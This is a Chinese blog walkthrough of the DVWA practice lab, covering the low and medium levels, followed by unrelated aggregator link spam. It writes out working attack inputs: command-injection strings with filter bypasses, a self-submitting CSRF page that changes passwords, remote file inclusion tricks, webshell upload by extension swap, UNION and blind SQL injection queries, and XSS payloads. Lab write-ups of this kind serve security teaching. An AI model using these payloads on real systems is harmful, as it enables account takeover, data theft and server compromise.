当前位置: 首页 > news >正文

DVWA通关全解

最近在学习内网和系统方面的知识,有一段时间没有接触web方面的知识了,这里我就通过DVWA来进行复习,避免太久没有接触而生疏了。这里来记录一下过程。DVWA是什么这里就不介绍了。刚接触网安必接触的一个好的靶场。废话不多说,这里直接开始。

一、安装DVWA

DVWA可以通过下载源码来进行本地环境搭建,也可以使用docker安装,这里直接使用DVWA安装,更加简单,只要有docker即可,docker安装这里不再展示。

使用命令拉取镜像

docker pull citizenstig/dvwa

然后使用命令运行容器

docker run -dt --name dvwa -p 8999:80 --rm citizenstig/dvwa

然后在浏览器进行访问

http://localhost:8999

我这里使用的是子系统配置的,所以使用IP地址访问,访问之后初始化数据库,然后使用默认账号密码登录

账号:admin
密码:password

进去的页面如上所示。那么可以开始打靶场了。

靶场有几个等级,low,medium,high,impossible,这里我们从低往高进行。

二、Low

1、Vulnerability: Brute Force

这个只要使用暴力破解即可,使用bp的intruder模块进行爆破。这里就不再展示

2、Vulnerability: Command Injection

这个是通过输入ip地址进行ping,但是没有很好的过滤,导致能够通过管道符执行其它命令。比如说

127.0.0.1 && whoami

可以在最下面看到,whoami执行结果是www-data。其它命令这里不再展示。

3、Vulnerability: Cross Site Request Forgery (CSRF)

CSRF(跨站请求伪造),通过构造恶意页面来执行其恶意攻击。这里我们先尝试修改密码

可以看到修改后密码在url显示,以get方式进行。那么我们可以通过构造恶意链接让用户执行,比如说

http://172.25.54.94:8999/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

然后将此链接变成短链接诱导用户访问,然后即可更改密码

访问之后

密码更改成功。

4、Vulnerability: File Inclusion

通过访问file1.php,file2.php, file3.php会返回不通的内容,同时会将文件名传参给page参数

那么我们可以将其它的内容传给page来进行解析,比如说

http://172.25.54.94:8999/vulnerabilities/fi/?page=http://172.25.54.94/23.php

可以看到成功解析。

5、Vulnerability: File Upload

这里我们先上传php一句话木马,

上传成功,使用蚁剑连接

成功连接

6、Vulnerability: Insecure CAPTCHA

这里没有配置,就不再展示了

7、Vulnerability: SQL Injection

使用1'进行测试,发现出错了,说明有sql注入

那么直接order by

那么字段数为2,接下来就是爆表了,使用命令如下

1' union select 1,database()#

爆出表名dvwa,接下来就是列出一系列命令,这里不再展示

爆表:1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)#
爆列:1' union select 1,(select column_name from information_schema.columns where table_name='guestbook' limit 0,1)#

8、Vulnerability: SQL Injection (Blind)

盲注的话有时间盲注和布尔盲注,先展示布尔盲注,我们先看看布尔盲注是如何判断的

可以看到其爆出错误不同,那么我们就可以通过这个判断,布尔盲注命令如下

爆数据库长度:1'and length(database())=4#爆数据库的第一个字符:1'and substr(database(),1,1)='a'#爆表的长度:1'and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=9#爆字段长度:1'and length(select column_name from information_schema.columns where
table_name='guestbook' limit 0,1)=10#爆字段:1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#其中也可以使用ascii码来进行,比如说
判断第一个的字符的ascii大于88:1'and ascii(substr(database(),1,1))>88#

表的长度为4

接下来就不再展示了。然后是时间盲注,使用命令如下

1'and if(length(database())=4,sleep(5),1)#
此语句意思是如果数据库的长度是4,那么执行slepp(5),否则返回1

然后判断的话如果会访问5秒只有就说明是对的,然后就是爆表,列之类的和上面一样即可。sql注入也可以使用sqlmap进行解决,但是个人比较喜欢手注,所以这里就没有展示工具的使用,不想手注的可以使用工具进行注入。

9、Vulnerability: Reflected Cross Site Scripting (XSS)

反射型XSS,只要使用相应的语句即可,比如说

<script>alert(1)</script>

10、Vulnerability: Stored Cross Site Scripting (XSS)

存储型XSS,只要在留言板能力使用上面的语句,那么每次访问时都会进行弹窗。

三、Medium

中等的话只是比低等的多了一些简单防御,这里我快速过一遍。细节就不再展示了。


1、Vulnerability: Brute Force

Medium等级主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果。

2、Vulnerability: Command Injection

添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入,比如说使用||也可以进行执行其它命令。

3、Vulnerability: Cross Site Request Forgery (CSRF)

Medium等级的CSRF加了一个referer头进行判断,那么我们可以构造恶意url来进行访问

首先构造恶意页面

<!DOCTYPE html>
<html>
<head><!-- 确保跨域请求时,Referer 发送完整路径 --><meta name="referrer" content="unsafe-url">
</head>
<body><form action="http://172.25.54.94:8999/vulnerabilities/csrf/" method="GET"><input type="hidden" name="password_new" value="hacked"><input type="hidden" name="password_conf" value="hacked"><input type="hidden" name="Change" value="Change"></form><script>// 页面加载后自动提交表单document.forms[0].submit();</script>
</body>
</html>

记住命名需要包括主机IP地址,比如说我的命名是172.25.54.94_hack.html。

然后使用python开一个http服务

然后使用如下url进行访问

http://127.0.0.1:8000/172.25.54.94_hack.html

更改成功。这样在referer头中就会带入相应的url。Referer绕过:添加<meta name="referrer" content="unsafe-url">,在访问的时候完整带上URL,即可绕过。有时候或者直接删除referer也可以绕过其防御。


4、Vulnerability: File Inclusion

Medium中将传参值中有http:// ,https:// …/ …\都将替换为空,那么我们使用

htthttp://p://172.25.54.94/23.php

5、Vulnerability: File Upload

只能上传jpg文件,那么我们就可以通过上传图片马,然后bp抓包修改后缀为php即可。


7、Vulnerability: SQL Injection

通过提交方式我们可以知道以post方式提交,那么其sql注入语句差别不大,只是需要抓包注入,这里就不再展示了。


8、Vulnerability: SQL Injection (Blind)

这个也是post方式。

9、Vulnerability: Reflected Cross Site Scripting (XSS)

这里过滤了<script>,那么我们可以通过双写即可绕过。

<scr<script>ipt>alert(1)</script>

10、Vulnerability: Stored Cross Site Scripting (XSS)

这个和上面是一样的。

四、High

high等级的话也是比较有挑战的,细节的话这里我就不展示了,推荐一个大佬写的,很详细,我肯定写不了那么详细的,哈哈哈。

DVWA通关攻略零到一【全】-CSDN博客


http://www.dtcms.com/a/475669.html

相关文章:

  • 广州网站建设是什么成都旅游网站建设规划方案
  • 企业网站推广的线上渠道有哪些网站建设吕凡科技
  • DOM 解析
  • 网站价值 批量查询免费网页设计教程视频教程
  • 想做一个个人网站怎么做长沙网站推广公司哪家好
  • 建网站要多少钱建一个网络平台需要多少钱舆情优化
  • 一元购网站的建设营销型网站大全
  • 互动类网站滁州市建设工程管理处网站
  • 好网站上辽宁建设工程信息网站
  • 外吐司做的阿里巴巴的网站wordpress文章加背景颜色
  • 天津做网站选津坤科技网站建设专业开发公司
  • 陕西做网站电话更改网站标题
  • 学完顺序表后,用 C 语言写了一个通讯录
  • php网站怎么做自适应网站安全狗 服务名
  • 法拍房捡漏与风险排查
  • canvas 特效网站有哪些营销型网站
  • java12
  • CAN信号通信
  • 昌平网站建设哪家强企业网站推广方案在哪里
  • 国外商品网站网站开发服务合同范本
  • mysql 收费 网站建设地图网站建设
  • 【Git学习】初识git:简单介绍及安装流程
  • 在线推广企业网站的方法有wordpress主题文件夹在哪里
  • 华夏润达建设有限公司网站ui设计难吗
  • 阿勒泰建设局网站wordpress技术教程
  • 新知识点背诵
  • 南昌企业建站html5 购物网站
  • 淄博高效网站建设wordpress视频播放
  • 长沙专业网站建设wordpress网站回调域
  • 帝国cms网站搬家网站模板在线制作